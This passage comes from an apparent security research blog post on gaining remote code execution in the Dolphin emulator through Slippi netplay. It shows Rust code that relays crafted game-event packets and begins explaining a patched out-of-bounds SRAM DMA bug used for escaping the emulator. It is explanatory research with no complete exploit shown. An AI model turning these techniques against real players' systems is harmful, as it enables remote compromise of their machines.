&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;                                        0x35&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                                            let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; reader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;read_u8&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                                            let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; event_buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                                                let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; buf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; vec!&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                buf&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cmd&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                buf&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; size&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                reader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;read_exact&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; buf&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                buf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                            };&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                                            let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; event_reader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;event_buf&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span&gt;]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;                                            for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; _&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                cmd_lengths&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                    event_reader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;read_u8&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;(),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                    event_reader&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;                                                        .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;read_u16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;byteorder&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;BigEndian&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;                                                        .&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;(),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                );&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                            }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                                            let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BASE64_STANDARD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;event_buf&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                                            send_packet&lt;&#x2F;span&gt;&lt;span&gt;(MirrorResponse&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;GameEvent&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;: &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;payload&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cursor&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                next_cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                            });&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                            cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                        x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;                                            if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Some&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;length&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cmd_lengths&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;get&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                                                let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; vec!&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; length&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; usize&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                reader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;read_exact&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;                                                let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; BASE64_STANDARD&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;encode&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                                                send_packet&lt;&#x2F;span&gt;&lt;span&gt;(MirrorResponse&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;GameEvent&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                    payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;: &amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;payload&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                    cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cursor&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                    next_cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                                });&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;                                                cursor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                            }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                                                println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Unhandled command! Stopping...&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;                                                break&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                            }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                                }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;                                println!&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Should be done now!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                            }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;thread&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;sleep&lt;&#x2F;span&gt;&lt;span&gt;(Duration&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;from_millis&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And with that, I now have a way of getting arbitrary guest code execution remotely! That was a lot of preparation work without any real exploits being written yet, but at least I can finally get to the fun part now.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;breaking-out-of-dolphin&quot;&gt;Breaking out of Dolphin&lt;a class=&quot;zola-anchor&quot; href=&quot;#breaking-out-of-dolphin&quot; aria-label=&quot;Anchor link for: breaking-out-of-dolphin&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;&#x2F;i&gt;&lt;&#x2F;a&gt; 
&lt;&#x2F;h1&gt;
&lt;p&gt;When it comes to memory safety vulnerabilities, &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;dougallj.wordpress.com&#x2F;2016&#x2F;11&#x2F;13&#x2F;exploiting-dolphin-part-1&#x2F;&quot;&gt;console&lt;&#x2F;a&gt; &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=Q3SOYneC7mU&quot;&gt;emulators&lt;&#x2F;a&gt; &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=L-L8qWpd_74&quot;&gt;don&#x27;t&lt;&#x2F;a&gt; &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=mHSWxxK6nA8&quot;&gt;have&lt;&#x2F;a&gt; &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=zqUYNYWPlpQ&quot;&gt;the&lt;&#x2F;a&gt; &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;khang06&#x2F;HackerSM64-emu-escape&quot;&gt;best&lt;&#x2F;a&gt; &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;tasvideos.org&#x2F;8982S&quot;&gt;track&lt;&#x2F;a&gt; &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;n64dev&#x2F;cen64&#x2F;issues&#x2F;122&quot;&gt;record&lt;&#x2F;a&gt; &lt;em&gt;(yes, those are all separate links)&lt;&#x2F;em&gt;. It&#x27;s probably some combination of many popular ones having codebases dating back to the early 2000s, the need to emulate lots of different block copies for DMA, and there being more of a focus on just getting the games to work instead of hardening against potentially malicious code. Either way, I think there isn&#x27;t enough vulnerability research that targets them, given that random ROM hacks or &lt;em&gt;Totally Legitimately Acquired Game Backups&lt;&#x2F;em&gt; also count as untrusted code.&lt;&#x2F;p&gt;
&lt;p&gt;Thankfully for me, in the case of Dolphin, I don&#x27;t even have to find the vulnerability myself! One of the first changes mentioned in &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;dolphin-emu.org&#x2F;blog&#x2F;2024&#x2F;04&#x2F;30&#x2F;dolphin-progress-report-february-march-and-april-2024&#x2F;&quot;&gt;Dolphin&#x27;s February, March, and April 2024 Progress Report&lt;&#x2F;a&gt; is a patch for an easily controllable out-of-bounds read&#x2F;write, followed by a few paragraphs about why patching these kinds of bugs is important.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;dolphinvuln.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The GameCube has a 64-byte region of battery-backed SRAM that it uses to keep track of some basic information like audio settings, screen offset, language (PAL only), and the real-time clock. All of this is configured in the GameCube&#x27;s Initial Program Loader (IPL), also known as that big cube menu with all of the settings and memory card stuff.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;ipl.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This area isn&#x27;t mapped directly in memory anywhere, but is instead accessed via the External Interface (EXI) bus. This means that data has to be copied to and from main memory via DMA in order to be accessed. Hey, didn&#x27;t I say something about DMA in emulators leading to some issues earlier?&lt;&#x2F;p&gt;
